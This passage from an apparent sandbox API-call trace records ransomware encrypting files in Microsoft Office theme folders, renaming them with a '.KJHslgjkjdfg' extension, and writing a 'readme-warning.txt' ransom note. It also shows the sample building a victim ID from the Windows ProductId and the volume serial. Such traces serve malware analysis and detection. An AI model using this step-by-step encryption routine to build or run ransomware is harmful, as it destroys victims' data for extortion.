lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.412] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.412] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.412] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.412] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.412] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.412] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.412] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.412] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.412] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x74e5, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x74e5, lpOverlapped=0x0) returned 1 [0146.413] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x74f0, dwBufLen=0x74f0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x74f0) returned 1 [0146.414] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.414] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x74f0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x74f0, lpOverlapped=0x0) returned 1 [0146.414] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.414] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x75c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.414] SetEndOfFile (hFile=0x118) returned 1 [0146.417] GetProcessHeap () returned 0x2a0000 [0146.417] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.417] GetProcessHeap () returned 0x2a0000 [0146.417] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.417] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0146.420] CloseHandle (hObject=0x118) returned 1 [0146.420] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0146.420] GetProcessHeap () returned 0x2a0000 [0146.420] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.420] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.420] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0146.420] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.420] GetProcessHeap () returned 0x2a0000 [0146.420] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0146.420] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.420] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0146.420] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.421] GetProcessHeap () returned 0x2a0000 [0146.421] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0146.421] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.421] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0146.421] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.421] GetProcessHeap () returned 0x2a0000 [0146.421] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0146.421] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.421] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0146.421] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.421] GetProcessHeap () returned 0x2a0000 [0146.421] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0146.421] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.421] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0146.421] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.421] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0146.421] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0146.422] RegCloseKey (hKey=0x118) returned 0x0 [0146.422] GetProcessHeap () returned 0x2a0000 [0146.422] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0146.422] GetProcessHeap () returned 0x2a0000 [0146.422] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0146.422] GetProcessHeap () returned 0x2a0000 [0146.422] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0146.422] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0146.422] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0146.422] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.422] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0146.422] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0146.422] GetProcessHeap () returned 0x2a0000 [0146.422] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0146.422] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0146.422] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0146.422] GetProcessHeap () returned 0x2a0000 [0146.422] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0146.422] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\readme-warning.txt") returned 83 [0146.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.423] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0146.424] CloseHandle (hObject=0x118) returned 1 [0146.425] GetProcessHeap () returned 0x2a0000 [0146.425] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0146.425] GetProcessHeap () returned 0x2a0000 [0146.425] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0146.425] GetProcessHeap () returned 0x2a0000 [0146.425] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0146.425] GetProcessHeap () returned 0x2a0000 [0146.425] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.425] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0146.425] GetProcessHeap () returned 0x2a0000 [0146.425] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0146.425] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CASCADE", cAlternateFileName="")) returned 1 [0146.425] GetProcessHeap () returned 0x2a0000 [0146.425] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x90) returned 0x2ef2d8 [0146.425] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0146.427] GetProcessHeap () returned 0x2a0000 [0146.427] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0146.427] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0146.427] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede9bc00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xede9bc00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xba44, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CASCADE.ELM", cAlternateFileName="")) returned 1 [0146.427] GetProcessHeap () returned 0x2a0000 [0146.427] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x292) returned 0x2f32d0 [0146.427] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.428] GetProcessHeap () returned 0x2a0000 [0146.428] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.428] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.428] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.428] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xc, lpOverlapped=0x0) returned 1 [0146.430] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.430] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.430] GetProcessHeap () returned 0x2a0000 [0146.430] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.430] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.430] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.430] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.430] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.431] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.431] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.431] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.431] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.431] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.431] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.431] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.431] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xba44, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xba44, lpOverlapped=0x0) returned 1 [0146.432] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xba50, dwBufLen=0xba50 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xba50) returned 1 [0146.434] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.434] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xba50, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xba50, lpOverlapped=0x0) returned 1 [0146.434] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.434] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xbb24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.434] SetEndOfFile (hFile=0x118) returned 1 [0146.437] GetProcessHeap () returned 0x2a0000 [0146.437] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.437] GetProcessHeap () returned 0x2a0000 [0146.437] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.437] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm.kjhslgjkjdfg")) returned 1 [0146.438] CloseHandle (hObject=0x118) returned 1 [0146.438] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x262, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CASCADE.INF", cAlternateFileName="")) returned 1 [0146.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.439] GetProcessHeap () returned 0x2a0000 [0146.439] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.439] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.439] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.439] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xe, lpOverlapped=0x0) returned 1 [0146.440] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.440] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.440] GetProcessHeap () returned 0x2a0000 [0146.440] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.440] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.440] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.441] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.441] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.441] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.441] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.441] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.441] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.441] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.441] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.441] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.441] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x262, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x262, lpOverlapped=0x0) returned 1 [0146.441] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x270, dwBufLen=0x270 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x270) returned 1 [0146.441] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.441] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x270, lpOverlapped=0x0) returned 1 [0146.442] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.442] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.442] SetEndOfFile (hFile=0x118) returned 1 [0146.444] GetProcessHeap () returned 0x2a0000 [0146.444] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.444] GetProcessHeap () returned 0x2a0000 [0146.444] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.444] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf.kjhslgjkjdfg")) returned 1 [0146.493] CloseHandle (hObject=0x118) returned 1 [0146.493] FindNextFileW (in: 